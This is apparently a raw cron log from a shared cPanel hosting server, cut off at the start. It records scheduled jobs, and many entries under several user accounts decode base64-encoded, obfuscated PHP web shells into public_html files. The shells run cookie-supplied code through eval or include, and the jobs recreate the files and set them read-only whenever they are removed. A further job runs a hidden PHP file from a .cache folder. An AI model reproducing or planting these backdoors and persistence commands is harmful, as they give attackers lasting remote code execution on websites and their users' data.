kX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:52:02 medusa CROND[24080]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:52:02 medusa CROND[24081]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:52:02 medusa CROND[24083]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:52:02 medusa CROND[24085]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:52:02 medusa CROND[24086]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:52:02 medusa CROND[24087]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 03:52:02 medusa CROND[24089]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:52:02 medusa CROND[24090]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 03:53:02 medusa CROND[25799]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:53:02 medusa CROND[25800]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:53:02 medusa CROND[25801]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 03:53:02 medusa CROND[25803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:53:02 medusa CROND[25804]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:53:02 medusa CROND[25805]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:53:02 medusa CROND[25806]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:53:02 medusa CROND[25807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:53:02 medusa CROND[25811]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:53:02 medusa CROND[25812]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:53:02 medusa CROND[25816]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:53:02 medusa CROND[25827]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:54:01 medusa CROND[27543]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 03:54:01 medusa CROND[27582]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 03:54:01 medusa CROND[27601]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 03:54:01 medusa CROND[27602]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 03:54:01 medusa CROND[27603]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 03:54:01 medusa CROND[27604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:54:01 medusa CROND[27605]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 03:54:01 medusa CROND[27611]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 03:54:01 medusa CROND[27612]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 03:54:01 medusa CROND[27613]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 03:54:01 medusa CROND[27618]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
